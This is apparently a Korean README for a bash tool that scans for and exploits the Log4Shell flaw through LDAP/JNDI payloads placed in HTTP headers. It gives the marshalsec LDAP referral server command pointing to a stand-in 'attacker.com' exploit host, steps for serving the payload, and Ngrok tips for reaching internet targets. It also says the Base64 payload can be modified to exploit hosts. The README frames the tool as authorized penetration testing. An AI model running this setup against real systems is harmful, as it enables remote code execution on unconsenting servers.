Log4Shell-Scanner-Exploit
Log4shell 취약점을 원격으로 식별 및/또는 악용할 수 있는 bash 스크립트입니다.
이 도구는 LDAP 페이로드와 X-Api-Version, User-Agent 및 X-Forwarded-For 헤더를 사용하여 다양한 테스트를 수행합니다.
이 스크립트는 항상 감사 대상 서비스/애플리케이션 소유자의 사전 승인을 받은 후에만 사용하십시오.
의존성:
- Github에서 사전 구성된 LDAP 서버를 생성합니다: https://github.com/mbechler/marshalsec
mvn clean package -DskipTests && Java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar
marshalsec.jndi.LDAPRefServer 'http://attacker.com/#exploit'
-
HTTP 서버를 활성화합니다
python3 -m http.server 8080
-
Java가 설치되어 있어야 합니다
#sudo apt install default-jre
-
Curl이 설치되어 있어야 합니다
#sudo apt-get install curl
사용 예시:
다음 매개변수를 입력합니다:
- 스캔할 URL 목록
- LDAP 서버 IP 주소
- LDAP 서버 포트
- HTTP 서버 IP 주소
- HTTP 서버 포트
#내부 네트워크 애플리케이션 스캔 예시:
- ./Log4Shell_Scanner.sh <Diccionario_URL> <IP_Servidor_LDAP> <Puerto_Servidor_LDAP> <IP_Servidor_HTTP> <Puerto_Servidor_HTTP>

#인터넷 애플리케이션 스캔 예시:
- ./Log4Shell_Scanner.sh <Diccionario_URL> <IP_Servidor_LDAP> <Puerto_Servidor_LDAP> <IP_Servidor_HTTP> <Puerto_Servidor_HTTP>

참고 사항:
- 사용된 페이로드는 취약한 것으로 식별된 시스템에 "ifconfig" 명령을 전송하며, 이 페이로드는 Base64로 인코딩되어 있으며 침투 테스트 감사에서 악용 단계를 수행하도록 수정될 수 있습니다.
- 인터넷 서비스에서 도구를 사용하려면 LDAP 서버의 로컬 포트로 포트 포워딩하는 Ngrok 서비스를 시작할 수 있습니다.
- 이 스크립트는 항상 분석 대상 서비스/애플리케이션 소유자의 사전 승인을 받은 후에만 사용하십시오.